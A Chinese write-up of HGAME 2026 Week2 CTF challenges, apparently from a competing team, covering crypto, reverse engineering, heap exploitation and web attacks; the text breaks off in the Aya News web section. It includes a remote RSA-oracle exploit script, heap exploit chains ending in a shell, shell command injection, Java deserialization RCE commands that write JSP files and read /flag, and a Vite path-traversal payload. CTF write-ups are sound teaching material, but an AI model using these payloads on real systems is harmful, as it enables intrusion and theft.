HGAME 2026 Week2 全题解 Writeup — ju4t_for_fun

HGAME 2026 Week2 完整 Writeup。ju4t_for_fun 第三名,17643 pts,40/40 全解。涵盖 Crypto、Reverse、PWN、Web、Misc 五大分类共 15 道题。由 MultiAgent 驱动。

HGAME 2026 Week2 全题解 Writeup — ju4t_for_fun
HGAME 2026 Week2 Scoreboard
HGAME 2026 Week2 — ju4t_for_fun 第三名 | 17643 pts | 40/40 全解

本文是 HGAME 2026 Week2 的完整 Writeup。我们团队 ju4t_for_fun 在本周赛中取得了第三名的成绩,总分 17643 pts,Week2 全部 40 道题目全解。以下按 Crypto、Reverse、PWN、Web、Misc 五个分类,逐题展示解题思路和关键代码。


Crypto

ezdlp

分类:Crypto  |  Flag:hgame{1s_m@trix_d1p_rEal1y_sImpLe??}

题目分析

题目给出一个矩阵离散对数问题 (Matrix DLP)

  • Zmod(n) 上定义 2x2 矩阵 a
  • 计算 b = a^k,其中 k 是 1000-bit 素数
  • k 经 MD5 哈希后作为 AES-ECB 密钥加密 flag
  • 提供 data.sobj(含 n, a, b)和 base64 密文

密文:ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy

解题思路

Step 1: 分解 n

题目注释 "Want to factor n? I've already done it!" 暗示 n 已在 factordb 上。查询 factordb API 得到 n = p * q

Step 2: 检查 p-1, q-1 光滑性

p-1q-1 都非常光滑(所有因子小于等于 32 bit),Pohlig-Hellman 可高效求解标量 DLP。

Step 3: GF(p) 上的矩阵 DLP 转化为标量 DLP

矩阵 a mod p 的特征多项式在 GF(p) 上有两个不同的根(特征值)。通过特征向量匹配,找到 b mod p 对应的特征值,然后求解标量离散对数。由于 p-1 光滑,discrete_log 秒出结果。

Step 4: GF(q) 上的矩阵 DLP 转化为行列式 DLP

矩阵 a mod q 的特征多项式在 GF(q) 上不可约(无根),不能直接用特征值。

关键技巧:利用行列式性质 det(a^k) = det(a)^k = det(b),将矩阵 DLP 降维为标量 DLP:det(a)^k = det(b) (mod q)。q-1 同样光滑,秒出。

Step 5: CRT 合并

由 CRT 得到 k mod lcm(p-1, q-1)。由于 lcm(p-1, q-1) 约 1073 bit 大于 k 的 1000 bit,k 被唯一确定。

Step 6: AES 解密

完整解题脚本

solve.sage(SageMath 求解 k)

data = load('data.sobj')
n_val, a, b = data

p = 282964522500710252996522860321128988886949295243765606602614844463493284542147924563568163094392590450939540920228998768405900675902689378522299357223754617695943
q = 511405127645157121220046316928395473344738559750412727565053675377154964183416414295066240070803421575018695355362581643466329860038567115911393279779768674224503

# GF(p): 特征值 DLP
F_p = GF(p)
a_p = Matrix(F_p, a)
b_p = Matrix(F_p, b)
roots = a_p.characteristic_polynomial().roots(F_p)
lam1 = roots[0][0]
v1 = (a_p - lam1 * identity_matrix(F_p, 2)).right_kernel().basis()[0]
bv1 = b_p * v1
mu1 = bv1[0] / v1[0] if v1[0] != 0 else bv1[1] / v1[1]
k_p = discrete_log(mu1, lam1, ord=p-1)

# GF(q): 行列式 DLP(特征多项式不可约)
F_q = GF(q)
a_q = Matrix(F_q, a)
b_q = Matrix(F_q, b)
det_a = a_q.determinant()
det_b = b_q.determinant()
k_q = discrete_log(det_b, det_a, ord=q-1)

# CRT
k = crt(int(k_p), int(k_q), int(p-1), int(q-1))
with open('k_value.txt', 'w') as f:
    f.write(str(k))

decrypt.py(Python 解密 flag)

from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode
import hashlib

ciphertext = b64decode("ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy")
with open('k_value.txt', 'r') as f:
    k = int(f.read().strip())

key = hashlib.md5(long_to_bytes(k)).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(flag.decode())

Decision

分类:Crypto  |  Flag:hgame{w1sh_you_4_h@ppy_new_y3ar}

题目分析

题目源码实现了一个 Decisional LWE 加密系统:

  • Flag 内容(去掉 hgame{})通过小端序转为整数,再转为 200 位二进制串
  • 创建一个 LWE 实例,参数:n=25, q ~ 2^128, sigma=2^16
  • 对每一个 bit:
    • bit=1 生成 15 个真实 LWE 样本 (a, b),其中 b = <a, s> + e mod q
    • bit=0 生成 15 个完全随机的 26 维向量
  • 所有 bit=1 的加密共享同一个秘密向量 s

关键观察

  • 噪声 sigma = 2^16 相对模数 q ~ 2^128 极小(比值约 2^{-112})
  • 所有 bit=1 位置共享同一秘密 s,恢复 s 后可判定所有 bit

正确方法:格基规约 + BDD

BDD (Bounded Distance Decoding):给定格 L 和目标向量 b,找到 L 中距离 b 最近的格点。

核心思想:对于 LWE 样本,b = As + e (mod q),其中 As mod q 是格点,e 是很小的偏移。对于随机样本,b 与格无特殊关系,距最近格点很远。通过 BDD 的距离可以区分两者。

攻击步骤

  1. 随机选 3 个 bit 位置,合并 45 个样本
  2. LLL 规约格基
  3. Babai 最近平面算法求解 BDD
  4. 若误差小于等于 2^20,说明 3 个位置都是 bit=1,恢复秘密 s
  5. 否则至少一个位置是 bit=0,换一组重试
  6. 得到 s 后,逐位检验所有 200 个样本,分类 bit=1 / bit=0
  7. 还原二进制串转整数转小端序字节得到 flag 文本

解题脚本

# solve_lll.sage - 使用 sage 运行
import ast

with open("output.txt", "r") as f:
    encbit = ast.literal_eval(f.read())

q = 256708627612544299823733222331047933697
n = 25
m_per = 15

def try_bdd(positions):
    """对给定位置的样本执行 BDD,返回最大误差和误差向量"""
    m = len(positions) * m_per
    rows_a = []
    vals_b = []
    for pos in positions:
        for sample in encbit[pos]:
            rows_a.append([int(x) for x in sample[:n]])
            vals_b.append(int(sample[n]))

    A_int = matrix(ZZ, rows_a)
    b_int = vector(ZZ, vals_b)

    # 构造格 L = {Ax + qk} 的生成矩阵
    G = block_matrix(ZZ, [[A_int, q * identity_matrix(ZZ, m)]])

    # LLL 规约
    L_reduced = G.T.LLL()
    basis = matrix(ZZ, [row for row in L_reduced if row != 0])

    # Babai 最近平面算法
    B_gs, _ = basis.gram_schmidt()
    t = vector(QQ, b_int)
    for i in range(basis.nrows()-1, -1, -1):
        gs_i = B_gs[i]
        ci = t.dot_product(gs_i) / gs_i.dot_product(gs_i)
        t -= round(ci) * vector(QQ, basis[i])

    error = vector(ZZ, [round(x) for x in t])
    max_err = max(abs(e) for e in error)
    return max_err, error, A_int, b_int

# 随机尝试三元组
import random
random.seed(int(42))
cands = list(range(100, 200))
random.shuffle(cands)

found = False
for attempt in range(30):
    i0 = 3 * attempt
    triple = sorted([cands[i0 % len(cands)],
                     cands[(i0+1) % len(cands)],
                     cands[(i0+2) % len(cands)]])
    if len(set(triple)) < 3:
        continue

    print(f"[*] Attempt {attempt}: positions {triple}")
    max_err, error, A_int, b_int = try_bdd(triple)
    eb = max_err.bit_length() if max_err > 0 else 0
    print(f"    max_error = {max_err} ({eb} bits)")

    if eb <= 20:
        print(f"[+] LWE triple found!")
        F = GF(q)
        b_clean = vector(F, [int(b_int[i]) - int(error[i]) for i in range(len(error))])
        A_F = matrix(F, A_int)
        secret = matrix(F, A_F[:n]).solve_right(vector(F, b_clean[:n]))
        found = True
        break

if not found:
    print("[-] Failed")
    exit(1)

# 用恢复的 s 分类所有 200 个 bit
F = GF(q)
flag_bits = ""
for i in range(200):
    is_lwe = True
    for sample in encbit[i]:
        a = vector(F, [int(x) for x in sample[:n]])
        b = F(int(sample[n]))
        residual = int(b - a.dot_product(secret))
        if residual > int(q) // 2:
            residual = int(q) - residual
        if residual > 2**20:
            is_lwe = False
            break
    flag_bits += "1" if is_lwe else "0"

# 还原 flag
flag_int = int(flag_bits, 2)
flag_bytes = flag_int.to_bytes(25, 'little')
flag_content = flag_bytes.rstrip(b'\x00')
print(f"[+] Flag: hgame{{{flag_content.decode()}}}")

运行结果

[*] Attempt 0: positions [141, 142, 191]  -> max_error 57 bits (fail)
[*] Attempt 1: positions [109, 150, 165]  -> max_error 57 bits (fail)
[*] Attempt 2: positions [101, 115, 170]  -> max_error 58 bits (fail)
[*] Attempt 3: positions [110, 173, 178]  -> max_error 57 bits (fail)
[*] Attempt 4: positions [155, 156, 172]  -> max_error 18 bits (success!)
[+] LWE triple found!
[+] Flag: hgame{w1sh_you_4_h@ppy_new_y3ar}

ezRSA

分类:Crypto  |  Flag:hgame{EzRs@_ls_StIIL-PrEtTy-Ez,RIGHt?3239ea}

题目分析

服务端实现了一个交互式 RSA 系统,提供三个功能:

  1. 加密 (Option 1):输入明文 plain 和位翻转位置 x,返回 pow(plain, e ^ (1 << x), n) -- 注意指数是 e XOR (1<<x)
  2. 解密 (Option 2):输入密文 cipher,返回 pow(cipher, d, n) -- 标准 RSA 解密
  3. 获取 flag (Option 3):返回 pow(flag, e, n),同时将 safe 标志设为 False

关键机制safe=False 后,加密和解密的输出会经过 disguise 函数处理。

漏洞:disguise 函数最后一字节泄露

逐步追踪 disguise 函数,发现最后一个字节完全还原(正向和逆向 XOR 自我抵消),其余字节被随机掩码破坏。

阶段res[0]res[1]res[2]
初始b0b1b2
正向 XOR M0b0 XOR M0b1 XOR M0b2 XOR M0
逆向 i=2: XOR M0b0 XOR M0b1 XOR M0b2
逆向 i=1: XOR M1b0 XOR M0b1 XOR M0 XOR M1b2
逆向 i=0: XOR M2b0 XOR M0 XOR M2b1 XOR M0 XOR M1b2

攻击方案

Phase 1: 恢复 n(GCD 方法)

safe=True 时,解密 oracle 返回完整明文。利用 a = decrypt(2)b = decrypt(4),由 a^2 = b (mod n) 得到 n | (a^2 - b),GCD 多组恢复 n。

Phase 2: 恢复 e(逐位确定)

e 仅有 50 位。利用加密 oracle 的 bit-flip 特性,先计算 M = 2^e mod n,再逐位测试确定每一位。

Phase 3: 获取加密 flag

调用 Option 3 得到 secret = flag^e mod n,此后 safe=False

Phase 4: 逐字节恢复 flag(LSB Oracle 攻击)

利用 RSA 乘法同态性和最后字节泄露,逐字节恢复明文。构造密文使解密结果为 flag * 256^(-i) mod n,泄露的最后字节可推导出 flag 的第 i 个字节。

复杂度

阶段查询数说明
Phase 14 次解密GCD 恢复 n
Phase 251 次加密1 次基准 + 50 位逐位测试
Phase 31 次获取 flag 密文
Phase 4127 次解密逐字节恢复
总计183 次

完整 Exploit

from pwn import *
from Crypto.Util.number import *
from Crypto.Util.Padding import unpad
import base64
from math import gcd

io = remote('1.116.118.188', 31767)

def recv_menu():
    io.recvuntil(b'> ')

def encrypt_msg(plain, bit):
    recv_menu()
    io.sendline(b'1')
    io.recvuntil(b'plaintext:\n')
    io.sendline(str(plain).encode())
    io.recvuntil(b'flip:\n')
    io.sendline(str(bit).encode())
    return bytes_to_long(base64.b64decode(io.recvline().strip()))

def decrypt_raw(cipher):
    recv_menu()
    io.sendline(b'2')
    io.recvuntil(b'ciphertext:\n')
    io.sendline(str(cipher).encode())
    return base64.b64decode(io.recvline().strip())

def decrypt_int(cipher):
    return bytes_to_long(decrypt_raw(cipher))

def get_flag_enc():
    recv_menu()
    io.sendline(b'3')
    return bytes_to_long(base64.b64decode(io.recvline().strip()))

# === Phase 1: Recover n via GCD ===
log.info("Phase 1: Recovering n")
a = decrypt_int(2)
b = decrypt_int(4)
c = decrypt_int(8)
d4 = decrypt_int(16)

v1 = a*a - b
v2 = a**3 - c
v3 = a**4 - d4

n = gcd(gcd(v1, v2), v3)

for p in range(2, 10000):
    while n % p == 0:
        n //= p

assert a*a % n == b, "n check failed"
assert a**3 % n == c, "n check failed"
log.success(f"n recovered: {n.bit_length()} bits")

# === Phase 2: Recover e bit-by-bit ===
log.info("Phase 2: Recovering e (50 bits)")

E50 = encrypt_msg(2, 50)
P50 = pow(2, 1 << 50, n)
M = E50 * pow(P50, -1, n) % n

e_val = 0
for i in range(50):
    Ei = encrypt_msg(2, i)
    expected_0 = M * pow(2, 1 << i, n) % n
    if Ei == expected_0:
        pass
    else:
        e_val |= (1 << i)

assert pow(2, e_val, n) == M, "e verification failed"
log.success(f"e recovered: {e_val} ({e_val.bit_length()} bits)")

# === Phase 3: Get encrypted flag ===
log.info("Phase 3: Getting encrypted flag (safe -> False)")
secret = get_flag_enc()
log.success(f"Got encrypted flag: {secret.bit_length()} bits")

# === Phase 4: Byte-by-byte recovery via last-byte leak ===
log.info("Phase 4: Recovering flag byte by byte (127 bytes)")

inv256 = pow(256, -1, n)
C = pow(inv256, e_val, n)

Ti_e = 1
running = 0
flag_bytes = []

for i in range(127):
    c_mod = secret * Ti_e % n
    result = decrypt_raw(c_mod)
    leak = result[-1]

    byte_i = (leak - running % 256) % 256
    flag_bytes.append(byte_i)

    running = (running + byte_i) * inv256 % n
    Ti_e = Ti_e * C % n

    if i % 20 == 0:
        log.info(f"  Progress: {i+1}/127 bytes recovered")

flag_int = sum(b << (8*i) for i, b in enumerate(flag_bytes))
flag_padded = long_to_bytes(flag_int)

try:
    flag = unpad(flag_padded, 127)
    log.success(f"Flag: {flag.decode()}")
except Exception as ex:
    log.warning(f"Unpad failed: {ex}")
    log.info(f"Raw bytes: {flag_padded}")

io.close()

eezzdlp

分类:Crypto  |  Flag:hgame{M@trix-d1p_iz_rea1ly_1z!1!111!}

题目分析

与 ezdlp 类似的矩阵 DLP 问题,但 n = p^2(p 的平方),k 是 660-bit 素数。AES 密钥是 md5(long_to_bytes(k))

核心思路

1) 直接恢复 p

由于 n = p^2,直接 p = isqrt(n) 即可。

2) 通过 p-adic lift 获取 k (mod p)

M_2(Z/(p^2)Z) 中工作。由于 A^(p-1) == I (mod p),可以写 A^(p-1) = I + pX。利用二项式近似:B^(p-1) = (I + pX)^k = I + kpX (mod p^2)

X = (A^(p-1) - I) / pY = (B^(p-1) - I) / p,得到 Y == k * X (mod p),取非零元素解出 k mod p

3) Lift to full k

k = c + m*p,其中 c = k mod p。因为 k 是 660-bit 而 p 是 612-bit,m 仅约 48 bits。利用 GF(p) 上的特征值关系,将问题化为区间 DLP:lambda^m = mu * lambda^(-c),用 Pollard kangaroo (discrete_log_lambda) 求解。

完整 Solver

# solve_and_decrypt.sage.py
from sage.all import load, Matrix, GF, identity_matrix, Integer
from sage.groups.generic import discrete_log_lambda
from math import isqrt
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode
import hashlib

n, a, b = load("data.sobj")
n = int(n)
p = isqrt(n)
assert p * p == n

F = GF(p)
a_p = Matrix(F, a)
b_p = Matrix(F, b)

# Step 1: k mod p from p-adic lift
I = identity_matrix(a.base_ring(), 2)
X = (a ** (p - 1) - I) / p
Y = (b ** (p - 1) - I) / p
Xf = Matrix(F, [[int(X[i, j]) for j in range(2)] for i in range(2)])
Yf = Matrix(F, [[int(Y[i, j]) for j in range(2)] for i in range(2)])

c = None
for i in range(2):
    for j in range(2):
        if Xf[i, j] != 0:
            c_elem = Yf[i, j] / Xf[i, j]
            assert Yf == c_elem * Xf
            c = Integer(c_elem)
            break
    if c is not None:
        break
assert c is not None

# Step 2: eigenvalue mapping in GF(p)
lam = a_p.charpoly().roots(F)[0][0]
v = (a_p - lam * identity_matrix(F, 2)).right_kernel().basis()[0]
bv = b_p * v
mu = bv[0] / v[0] if v[0] != 0 else bv[1] / v[1]

# Step 3: k = c + m*p, solve m in interval
L = (Integer(2) ** 659 - c + p - 1) // p
U = (Integer(2) ** 660 - 1 - c) // p
rhs = mu * (lam ** (-c))
m = Integer(discrete_log_lambda(rhs, lam, (L, U), operation="*"))

k = c + m * p
assert k.nbits() == 660
assert k.is_prime()
assert a ** k == b

# Step 4: decrypt
ct = b64decode("Q3UBa1pz1fi35L94peaFbPvpQe4UyXOUif3CKS/CmZdXOiV7bA5NNNjJ1KeUiAFE")
key = hashlib.md5(long_to_bytes(int(k))).digest()
pt = unpad(AES.new(key, AES.MODE_ECB).decrypt(ct), AES.block_size)

print("k =", k)
print(pt.decode())

Reverse

Android Custom VM

分类:Reverse  |  Flag:hgame{Wow_Y0u_Got_Th3_Yend0r}

题目概述

APK: app-release.apk,Hint: "至少......也要见到第一个Boss吧......"

逆向过程

1) 初始逆向

反编译 APK,MainActivity 在首次运行时复制两个 assets 到应用私有目录:waw(ELF64 aarch64 静态链接)和 game(数据文件)。按下 S 键执行 ./waw game

2) Asset 解密格式

逆向 waw 加载器,发现 chunk 字节使用 XOR 0x9c 混淆。解密后发现自定义 VM 签名 \x87Waw 和自定义操作码映射。

from pathlib import Path
src = Path("jadx_out/resources/assets/game").read_bytes()
Path("game.dec").write_bytes(bytes(b ^ 0x9c for b in src))

3) 常量恢复与解密逻辑

通过解析 undump 布局恢复关键常量:

  • key_seed = 18target_floor = 100boss_interval = 5view_radius = 6
  • decrypt_flag 函数使用 seed = 18 + 100 + 5 + 6 = 129
  • 解密规则:mask = (seed + i - 1) % 255,输出 enc[i] XOR mask
enc = [233,229,226,233,224,253,208,231,254,213,210,188,248,209,200,255,229,205,199,252,166,201,206,253,247,254,171,238,224]
seed = 129
flag = ''.join(chr((b ^ ((seed + i - 1) % 255)) & 0xff) for i, b in enumerate(enc, 1))
print(flag)
# hgame{Wow_Y0u_Got_Th3_Yend0r}

Marionette

分类:Reverse  |  Flag:hgame{deadbeef0ddba11dfeedfacecafebabe}

题目提示

I walk, but do not choose the path. I stop, but do not choose the rest. I hold a secret, twelve times folded, Mixed with the echoes of my own past. Trace my steps, if you can.

主流程分析

main 主要做了三件事:读取 16 字节十六进制输入;fork 后子进程走 int3/ptrace 驱动的混淆代码,父进程用 ptrace 充当木偶师;子进程最终把 16 字节结果与常量 s2_ 比较。

关键还原

输入预处理(echoes of my own past)

子进程执行 AES 前先做前缀异或链:p[0] = x[0]p[i] = x[i] ^ x[i-1] (i=1..15)。

主加密核(twelve times folded)

跟踪 int3 驱动的片段和 AES 指令(aesenc/aesenclast/aeskeygenassist),还原为 AES-192 加密(12 轮)

Key: 5a097c137b8d4f2132be3b19af449c01

目标密文: 8cadb48febfd6fae8660ad44c3c75a31

逆向求输入

  1. AES-192 解密得到 p = de731351e2d67abce313173404344404
  2. 逆链变换:x[0] = p[0]x[i] = p[i] ^ x[i-1],得到 x = deadbeef0ddba11dfeedfacecafebabe

验证

echo deadbeef0ddba11dfeedfacecafebabe | ./marionette
# 输出: OK

Ouroboros(衔尾蛇)

分类:Reverse  |  Flag:flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}

题目概述

一个"自运行 + 自指 + 混淆"的 Java 程序,表面逻辑伪装成普通业务代码,实际校验逻辑隐藏在二阶段载荷里动态加载执行。

整体思路

  1. 解包 ouroboros.zip,得到主 JAR
  2. 反编译主程序,定位 TradeServiceriskEngineBeanPostProcessorLogicSwapper)动态替换
  3. 跟进 ShadowLoader:读取 /application-data.db,用 LCG 异或流解密,加载嵌套 JAR
  4. 反编译 IntegrityVerifier,走 env=prod 分支拿正确派生密钥
  5. 解密得到隐藏 JAR,提取 RealRiskEngineOuroborosVM
  6. 还原 VM 字节码,恢复目标字符串

关键点

ShadowLoader 解密流程

LCG 异或流:s = (s * 1103515245 + 12345) & 0xffffffffx = (s >> 16) & 0xffd[i] ^= x

密钥integrityKey = 859881160 (0x3340bec8),VM 固件密钥:keyByte = 0xc8

诱饵 flagflag{N0p3_Th1s_1s_A_D3c0y_G0_B4ck} -- 这是明显诱饵。

VM 还原

VM 指令集:0x10 压入常量、0x20 压入输入长度、0x30 取输入字符、0x35 异或、0x4A 除零分支跳转、0xFF 结束判断。恢复逐位比较目标串即为真实 flag。

验证

/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -Denv=prod -jar ouroboros-app-0.0.1-SNAPSHOT.jar
# 输入: flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}
# 输出: SUCCESS! VM Execution Verified.
#       ACCESS GRANTED: Core Logic Validated.

VidarChall

分类:Reverse(Android Native) |  Flag:hgame{Wow_e4sy_@nd_s1ni5ter_chall_XD}

题目概述

APK vidarchall.apk,包名 com.vidar.challMainActivity 将输入传给 native encrypt,再与固定 Base64 比较。

目标密文:jdh2rzUxbpRxlfFro3YGuhHhmpWq4eHqTvK3N1njLjMnkSUS3I6VDg==

Native 关键函数

核心加密 (0x001abe64):典型 XXTEA 结构,轮数 q = 52/n + 6,delta 来自全局种子。

makekey (0x001a5960):isolated 分支从 /proc/self/cmdline 计算自定义 CRC hash,生成 4 个 u32 作为 key:

  • k0 = h
  • k1 = h ^ seed
  • k2 = h + seed
  • k3 = h - seed

种子恢复

全局种子初值 0xdeadbeef,经过 6 次变换 T(x, c) = (x ^ c) * (~c) 后:seed = 0x1a9b8f52

cmdline 与 hash

自定义 CRC(poly=0xD5714649),匹配到 cmdline: com.vidar.chall_zygoteh = 0x7838ec8f

Key words:

k0 = 0x7838ec8f
k1 = 0x62a363dd   (h ^ seed)
k2 = 0x92d47be1   (h + seed)
k3 = 0x5d9d5d3d   (h - seed)

解密结果

把目标 Base64 解码得 40 字节,按 10 个 u32 走 XXTEA 逆过程(delta=seedkey=[k0..k3]),得到明文:hgame{Wow_e4sy_@nd_s1ni5ter_chall_XD}


PWN

Diarykeeper

分类:PWN(glibc 2.35) |  Flag:hgame{d0-dEc3Nt-Pe0P1E-Even_Ke3p_d1arl35?b6e}

漏洞分析

程序核心功能是"增删查 diary"。关键问题在 add

ptr = malloc(size + 16);
read(0, ptr + 16, size);
ptr[16 + read_len] = 0;

read_len == size 时,把 \0 写到分配块边界之后,形成 1 字节堆溢出(null byte overflow)原语。

利用思路

  1. unsorted bin 泄露 libc:大块 free 后进入 unsorted,通过 show 泄露 fd 指针回推 libc 基址
  2. 构造 chunk overlap,泄露 safe-linking key:用 null byte overflow + fake chunk 元数据做 backward consolidate,得到 key = chunk_addr >> 12
  3. tcache poisoning 做任意地址分配:将 freelist next 改为 target ^ key
  4. 劫持 exit handlers 执行 system:在 libc + 0x21bf00 伪造 exit_function_list,构造 mangled function pointer,触发 system("cat /flag* ...")

关键偏移

符号偏移
main_arena unsorted fd0x21ac60
system0x50d70
exit list head0x21bf00
__exit_funcs 覆写落点0x21a830

运行结果

Goodbye!
hgame{d0-dEc3Nt-Pe0P1E-Even_Ke3p_d1arl35?b6e}

gosick

分类:PWN(Rust,PIE,NX,Full RELRO,无 Canary) |  Flag:hgame{gATHER-THe_cHaOS457d8f2b20c}

核心漏洞

1) GC 可达性逻辑缺陷导致 UAF

Chaos 结构的 Trace 实现带条件:当 age < 6 时处理 content,当 age >= 6 时不再追踪。show(index) 中未命中的对象 age 会加一。将目标对象 age 抬到 >=6 后触发 force_collect(),content 被 GC 回收但上层仍保留指针,形成 UAF。

2) UAF 写

edit(index) 可写到被重用的堆块。

3) 权限绕过 + 命令注入

gift() 检查 uid != 0 则拒绝,但命令处理仅对首个单词做白名单检查,实际执行 sh -c <整行输入>,可用 whoami ; cat /flag 注入。

利用链

  1. create(1, b"A"*0x30):准备 UAF 目标对象
  2. create(2, b"B"*0x10):作为"刷 age"触发器
  3. 连续 show(2) 6 次:让 idx=1 的 age 增到 >=6,GC 回收其 content
  4. login("aa"):分配 Token,复用被回收的堆块
  5. edit(1, 0x30, payload):UAF 覆写 Token.uid = 0
  6. gift 输入 whoami ; cat /flag,拿到 flag

远程实测结果

hgame{gATHER-THe_cHaOS457d8f2b20c}

IONOSTREAM

分类:PWN  |  Flag:hgame{TCACHE-is_Funa549624852dc}

附件:vuln(ELF 64-bit PIE)、libc.so.6(glibc 2.41-6ubuntu1.2)

保护机制:Full RELRO | Canary | NX | PIE

逆向分析

标准堆菜单程序,5 个功能:

功能操作约束
addmalloc(sz) + readsize 仅允许 72 或 88
deletefree(chunks[idx])不清空指针,导致 UAF
showwrite(stdout, ...)可读已释放的 chunk
editread(stdin, ...)全局 lock,仅可用一次
exitexit(0)触发 _IO_flush_all_lockp

利用策略(无需 PIE 爆破)

Phase 1-2: Heap Leak + Tcache Poison
Phase 3:   Controller at tcache_perthread_struct
Phase 4:   Forge Fake Chunk (size 0xB0)
Phase 5:   Unsorted Bin Leak -> libc base
Phase 6:   FSOP (House of Apple 2)
Phase 7-8: Overwrite _IO_list_all + exit() trigger

Phase 1: Heap Leak

利用 safe-linking 机制反推 heap 基址:

add(0, 72, "A")   # chunk0
add(1, 72, "B")   # chunk1
add(8, 88, "Q")   # chunk8
delete(8)          # tcache bin4
delete(0)          # tcache bin3

raw = show(0)      # UAF 读取 safe-linked fd
key = u64(raw)
heap = key << 12   # key = heap >> 12

Phase 2-3: Tcache Poison 与 Controller

利用一次性 edit 修改 fd,使 tcache 链表指向 tcache_perthread_struct.entries[2],建立可重复使用的任意地址写原语。

Phase 4-5: Fake Chunk 与 Unsorted Bin Leak

伪造 0xB0 大小的 chunk(大于 MXFAST=0x80),free 后绕过 tcache 和 fastbin 进入 unsorted bin,UAF 读取 fd 获得 libc 基址。

Phase 6: FSOP -- House of Apple 2

利用 _IO_wfile_jumps vtable 的调用链实现代码执行:

exit()
  -> _IO_flush_all_lockp()
    -> 遍历 _IO_list_all 链表
      -> _IO_OVERFLOW(fp, EOF)
        -> _IO_wfile_overflow(fp, EOF)
          -> _IO_wdoallocbuf(fp)
            -> fp->_wide_data->_wide_vtable->__doallocate(fp)
              -> system(fp)    // fp 开头是 " sh\0"

Self-Overlap Trick_wide_data 指向 FILE 自身,使 _IO_wide_data 字段与 FILE 字段重叠。

Fake FILE 内存布局

F+0x00: _flags       = 0x00687320  (" sh\0")
F+0x18: _IO_read_base= 0           (= wide write_base)
F+0x20: _IO_write_base= 1          (= wide write_ptr > 0)
F+0x30: _IO_write_end= 0           (= wide buf_base = 0)
F+0x88: _lock        = heap+0x800  (zero-filled writable memory)
F+0xA0: _wide_data   = F           (self-referencing!)
F+0xC0: _mode        = 1           (> 0, triggers wide mode)
F+0xD8: vtable       = _IO_wfile_jumps (libc+0x20f1c8)
F+0xE0: _wide_vtable = V = F+0xE8
V+0x68: __doallocate = system       (libc+0x5c110)

关键偏移量

符号偏移
systemlibc + 0x5c110
_IO_wfile_jumpslibc + 0x20f1c8
_IO_list_alllibc + 0x2114c0
unsorted bin fdlibc + 0x210bc0
tcache_perthread_struct.entries[2]heap + 0xA0

运行结果

$ python3 exploit_fsop.py 1.116.118.188 31615
[*] Phase 1: Heap leak
[*]   heap=0x55c802c58000
[*] Phase 5: Unsorted bin leak
[*]   libc=0x7f993a725000
[+]   system=0x7f993a781110
[*] Phase 7: Overwriting _IO_list_all
[*] Phase 8: exit -> FSOP -> system(' sh')
[+] === GOT SHELL ===
[+] hgame{TCACHE-is_Funa549624852dc}

技术总结

技术用途
UAF + safe-linking bypass堆地址泄露
Tcache poisoning 转 controller任意地址写原语
Fake chunk + unsorted bin leaklibc 基址泄露(无需 PIE 爆破)
House of Apple 2 (FSOP)仅依赖 libc 基址实现代码执行
16 字节对齐重叠写入绕过 glibc 2.41 tcache alignment check

Web

ezCC

分类:Web  |  Flag:hgame{e2Cc_I5_R3alLY_6@SlC-iSn'T-lt?53f51a}

初步探测

首页是一个登录表单,POST /login 参数 userId,登录后返回 Set-Cookie: userInfo=...。抓到的 userInfo 是 Base64 的 Java 序列化数据(前缀 rO0AB...)。

反序列化点确认

访问 /welcome 会读取并反序列化 userInfo。报错栈出现 BlacklistObjectInputStream,存在黑名单过滤。

黑名单行为

用 ysoserial 测试常见链:CommonsCollections1/5/6/7 报错 Forbidden class; org.apache.commons.collections.functors.InvokerTransformer。即 InvokerTransformer 被拉黑。

绕过思路

改用 CC6 变种:不使用 InvokerTransformer,使用 InstantiateTransformer + TrAXFilter + TemplatesImpl,绕过黑名单仍触发命令执行。

利用步骤

1. 验证 RCE(写 JSP)

bash -c echo\ '<%out.print("OK");%>'\ >/usr/local/tomcat/webapps/ROOT/test.jsp

访问 /test.jsp 返回 OK,RCE 成功。

2. 读 flag

bash -c cat /flag>/usr/local/tomcat/webapps/ROOT/f.jsp || cat /flag.txt>/usr/local/tomcat/webapps/ROOT/f.jsp

访问 /f.jsp 获取 flag。

关键点总结

  • 入口:Cookie(userInfo) 反序列化
  • 防护:黑名单拦 InvokerTransformer
  • 绕过:CC6 变种(InstantiateTransformer 路线)
  • 落地:Tomcat webroot 写 JSP 回显/取文件

Aya News(文文新闻)

分类:Web  |  Flag:hgame{tHiS_ls-a_D4iIy-NEWS12431c4541}

漏洞链概览

Vite 任意文件读取 -> 源码审计 -> HTTP Request Smuggling (TE.0) -> 捕获 Bot 请求头中的 Flag

第一步:Vite 任意文件读取 (CVE-2025-30208)

Vite 6.2.0 存在 @fs 路径遍历漏洞:

http://target:32387/@fs/proc/self/environ?import&raw??

通过 ?import&raw?? 后缀绕过安全检查,读取任意文件。

关键文件读取

读取 proxy.js 发现 Node.js 代理使用 keepAlive: true(连接复用)。读取 Rust 后端 http_parser.rs 发现只使用 Content-Length,完全忽略 Transfer-Encoding

Node.js 代理核心代码

import http from 'http';
import httpProxy from 'http-proxy';

const RUST_TARGET = 'http://127.0.0.1:3000';
const VITE_TARGET = 'http://127.0.0.1:5173';

const proxy = httpProxy.createProxyServer({
  agent: new http.Agent({
    keepAlive: true,        // 关键:连接复用
    maxSockets: 100,
    keepAliveMsecs: 10000
  }),
  xfwd: true,
});

const server = http.createServer((req, res) => {
  if (req.url.startsWith('/api/')) {
    proxy.web(req, res, { target: RUST_TARGET });
  } else {
    proxy.web(req, res, { target: VITE_TARGET });
  }
});
server.listen(80);

Rust HTTP 解析器(关键缺陷):

let body_length: usize = headers
    .get("content-length")
    .and_then(|v| v.parse().ok())
    .unwrap_or(0);
// 完全没有处理 Transfer-Encoding!

第二步:架构分析与 Bot 发现

外部请求 -> Node.js Proxy (:80)
              |-- /api/* -> Rust Backend (:3000)  [keepAlive TCP 连接池]
              |-- 其他   -> Vite Frontend (:5173)

